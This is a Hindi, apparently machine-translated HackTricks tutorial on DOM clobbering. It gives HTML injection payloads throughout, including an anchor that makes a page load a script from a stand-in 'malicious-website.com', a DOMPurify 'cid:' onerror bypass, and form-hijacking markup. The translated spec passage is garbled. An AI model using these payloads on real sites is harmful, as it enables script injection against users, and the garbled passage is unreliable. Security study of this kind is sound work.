22 KiB
डॉम क्लॉबरिंग
☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- द पीएस फैमिली की खोज करें, हमारा विशेष NFT संग्रह देखें
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह में या मुझे ट्विटर पर फॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स को हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में पीआर जमा करके अपनी जानकारी साझा करें।
मूल बातें
HTML टैग में id
और name
गुणों के साथ JS संदर्भ में वैश्विक चरों को उत्पन्न करना संभव है।
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
केवल कुछ तत्व ही नाम विशेषता का उपयोग करके ग्लोबल्स को क्लॉबर कर सकते हैं, वे हैं: embed
, form
, iframe
, image
, img
और object
.
दिलचस्प बात यह है कि जब आप एक फॉर्म तत्व का उपयोग करके एक चर को क्लॉबर करते हैं, तो आपको तत्व की खुद की toString
मान प्राप्त होगी: [object HTMLFormElement]
लेकिन ऐंकर के साथ toString
ऐंकर href
होगी। इसलिए, यदि आप a
टैग का उपयोग करके क्लॉबर करते हैं, तो जब यह स्ट्रिंग के रूप में व्यवहार किया जाता है, आप मान को नियंत्रित कर सकते हैं:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Arrays & Attributes
एक एरे और ऑब्जेक्ट एट्रिब्यूट को भी clobber किया जा सकता है:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
एक तीसरे गुण (जैसे x.y.z) को clobber करने के लिए, आपको एक form
का उपयोग करना होगा:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
अधिक एट्रिब्यूट्स को क्लॉबर करना अधिक जटिल होता है लेकिन फिर भी संभव है, आइफ्रेम का उपयोग करके:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} स्टाइल टैग का उपयोग किया जाता है आईफ्रेम को रेंडर करने के लिए पर्याप्त समय देने के लिए। इसके बिना आपको अनिर्धारित अलर्ट मिलेगा। {% endhint %}
गहरे गुणों को अवरोधित करने के लिए, आप एचटीएमएल कोडिंग के साथ आईफ्रेम्स का उपयोग कर सकते हैं इस तरह से:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
फ़िल्टर बाईपास
यदि एक फ़िल्टर नोड की संपत्तियों को document.getElementByID('x').attributes
जैसी कुछ चीज़ों के माध्यम से लूप कर रहा है, तो आप एट्रिब्यूट .attributes
को क्लॉबर कर सकते हैं और फ़िल्टर को टूटा सकते हैं। tagName
, nodeName
या parentNode
जैसी अन्य DOM संपत्तियां भी क्लॉबर की जा सकती हैं।
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
window.someObject
को Clobber करना
जोखिम उठाने वाले जावास्क्रिप्ट डेवलपर्स द्वारा एक सामान्य पैटर्न है:
var someObject = window.someObject || {};
यदि आप पृष्ठ पर कुछ HTML को नियंत्रित कर सकते हैं, तो आप someObject
संदर्भ को एक DOM नोड, जैसे एंकर के साथ अवरोधित कर सकते हैं। निम्नलिखित कोड को विचार करें:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
इस भेद्यता युक्त कोड का शोषण करने के लिए, आप निम्नलिखित HTML को इंजेक्ट कर सकते हैं ताकि someObject
संदर्भ को एंकर तत्व के साथ ओवरफ़्लो करें:
{% code overflow="wrap" %}
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
{% endcode %}
उस डेटा को इंजेक्ट करना window.someObject.url
होगा href=//malicious-website.com/malicious.js
ट्रिक: DOMPurify
आपको cid:
प्रोटोकॉल का उपयोग करने देता है, जिसमें डबल-कोट्स को URL-encode नहीं किया जाता है। इसका मतलब है कि आप एक एन्कोडेड डबल-कोट्स इंजेक्ट कर सकते हैं जो रनटाइम पर डिकोड होगा। इसलिए, कुछ इस तरह का इंजेक्शन करना <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
एचटीएमएल एन्कोडेड "
को रनटाइम पर डिकोड करेगा और एट्रिब्यूट मान से बचकर onerror
इवेंट को बनाएगा।
एक और सामान्य तकनीक है form
एलिमेंट का उपयोग करना। कुछ क्लाइंट-साइड लाइब्रेरीज़ नए बनाए गए फॉर्म एलिमेंट के एट्रिब्यूट्स को सेनिटाइज़ करने के लिए जाएगी। लेकिन, अगर आप फॉर्म के अंदर id=attributes
के साथ input
बनाते हैं, तो आप एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट कर देंगे और सेनिटाइजर वास्तविक एट्रिब्यूट्स के माध्यम से नहीं जा सकेगा।
आप इस प्रकार के clobbering का उदाहरण इस CTF राइटअप में पा सकते हैं।
डॉक्यूमेंट ऑब्जेक्ट को Clobber करना
दस्तावेज़ के एट्रिब्यूट्स को DOM Clobbering का उपयोग करके ओवरराइट किया जा सकता है इसके अनुसार:
डॉक्यूमेंट इंटरफ़ेस नेम्ड प्रॉपर्टी का समर्थन करती है। किसी भी समय एक डॉक्यूमेंट ऑब्जेक्ट डॉक्यूमेंट के रूट के रूप में एक डॉक्यूमेंट ट्री में होने वाले एक्सपोज़्ड एम्बेड, फॉर्म, आईफ्रेम, इमेज, और एक्सपोज़्ड ऑब्जेक्ट एलिमेंट्स के लिए सभी नाम सामग्री एट्रिब्यूट की मान, जो एक गैर-खाली नाम सामग्री एट्रिब्यूट रखते हैं और डॉक्यूमेंट के रूट के रूप में एक डॉक्यूमेंट ट्री में होते हैं, के लिए होती हैं:
- सभी नाम सामग्री एट्रिब्यूट वाले एक्सपोज़्ड एम्बेड, फॉर्म, आईफ्रेम, इमेज, और एक्सपोज़्ड ऑब्जेक्ट एलिमेंट्स के लिए नाम सामग्री एट्रिब्यूट की मान;
- सभी नाम सामग्री एट्रिब्यूट वाले ऑब्जेक्ट एलिमेंट्स के लिए नाम सामग्री एट्रिब्यूट की मान;
- सभी इमेज एलिमेंट्स के लिए नाम सामग्री एट्रिब्यूट और इमेज एलिमेंट्स के लिए इमेज एलिमेंट्स के बीच एक गैर-खाली नाम सामग्री एट्रिब्यूट और एक गैर-खाली इमेज एलिमेंट्स के लिए इमेज एलिमेंट्स के बीच एक गैर-खाली नाम सामग्री एट्रिब्यूट की मान, और डॉक्यूमेंट के रूट के रूप में एक डॉक्यूमेंट ट्री में होते हैं।
इस तकनीक का उपयोग करके आप सामान्य रूप से उपयोग होने वाले मान जैसे document.cookie
, document.body
, document.children
, और डॉक्यूमेंट इंटरफ़ेस में तरीकों को ओवरराइट कर सकते हैं जैसे document.querySelector
।
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
तत्व को चटकाने के बाद लिखना
आप एक document.getElementById()
और document.querySelector()
कॉल के परिणाम को चटका सकते हैं अगर आप एक <html>
या <body>
टैग इंजेक्ट करते हैं जिसमें समान id विशेषता हो। यहां एक उदाहरण है:
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
यहां और भी दिलचस्प है कि आप innerText
से तत्वों को छिपा सकते हैं, इसलिए यदि आप एक HTML/body टैग इंजेक्ट करते हैं तो आप इसे innerText
से छिपाने के लिए स्टाइल का उपयोग कर सकते हैं ताकि अन्य पाठ आपके हमले में बाधा न डालें:
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
हमने SVG भी देखा है और वहां <body>
टैग का उपयोग करना संभव है:
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
आपको Chrome और Firefox दोनों में SVG में HTML टैग का उपयोग करने के लिए <foreignobject>
टैग की आवश्यकता होती है:
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
फॉर्म को अद्यतन करना
कुछ टैग्स के अंदर form
एट्रिब्यूट निर्दिष्ट करके आप फॉर्म के अंदर नए एंट्रीज़ जोड़ सकते हैं। आप इसका उपयोग करके फॉर्म के अंदर नए मान जोड़ सकते हैं और इसे भेजने के लिए नया बटन भी जोड़ सकते हैं (क्लिकजैकिंग या .click()
JS कोड का दुरुपयोग करना):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- इसे देखें** में और फॉर्म एट्रिब्यूट के बारे में जानकारी प्राप्त करें।**
संदर्भ
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा विशेष NFT संग्रह देखें
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm का पालन करें।**
- अपने हैकिंग ट्रिक्स को hacktricks repo और hacktricks-cloud repo में पीआर जमा करके अपना योगदान दें।